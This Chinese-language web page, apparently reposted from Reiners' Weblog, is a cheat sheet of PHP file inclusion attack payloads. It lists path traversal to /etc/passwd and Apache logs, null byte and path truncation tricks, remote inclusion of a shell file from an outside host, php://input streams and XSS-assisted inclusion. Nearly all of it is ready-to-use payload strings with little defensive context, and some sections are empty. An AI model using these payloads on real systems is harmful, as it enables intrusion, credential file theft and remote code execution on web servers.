文章简单的分析了在php文件包含时inlcude的一个漏洞分析,下面希望对大家有点用处哦。
基本的文件包含漏洞:
代码如下 | 复制代码 |
* 包含同路径下的文件: ?file=.htaccess * 路径遍历: ?file=../../../../../../../../../var/lib/locate.db (该文件非常有趣因为它允许你搜索文件系统) * 包含注入PHP代码的文件: ?file=../../../../../../../../../var/log/apache/error.log (you can find other possible Apache dirs here and other ways here. Think about all possible logfiles, file uploads, session files etc.) |
受限的本地文件包含:
代码如下 | 复制代码 |
* 空字符注入(Null Byte Injection): ?file=../../../../../../../../../etc/passwd%00 (需要magic_quotes_gpc=off) * 列目录(Null Byte Injection): ?file=../../../../../../../../../var/www/accounts/%00 (仅限BSD, 需要magic_quotes_gpc=off,详细信息here) *路径截断(Path Truncation): ?file=../../../../../../../../../etc/passwd........... … (详细信息参见 here 和 here) * 点号截断: ?file=../../../../../../../../../etc/passwd……………. … (仅限Windows, 更多细节参见 here) |
基本的远程文件包含:
代码如下 | 复制代码 |
* 包含远程代码(Including Remote Code): ?file=[http|https|ftp]://websec.wordpress.com/shell.txt (需要 allow_url_fopen=On 和 allow_url_include=On) * 使用php输入流(Using PHP stream php://input): ?file=php://input * 使用PHP过滤函数(Using PHP stream php://filter): |
* 用于跨站脚本攻击(Using XSS):
代码如下 | 复制代码 |
?file=http://127.0.0.1/path/xss.php?xss=phpcode (makes sense if firewalled or only whitelisted domains allowed) |
受限的远程文件包含漏洞
代码如下 | 复制代码 |
* ?file=http://websec.wordpress.com/shell * ?file=http://websec.wordpress.com/shell.txt? * ?file=http://websec.wordpress.com/shell.txt%23 (需要 allow_url_fopen=On 和 allow_url_include=On) |
静态远程文件包含漏洞:
代码如下 | 复制代码 |
|
来自Reiners’ Weblog。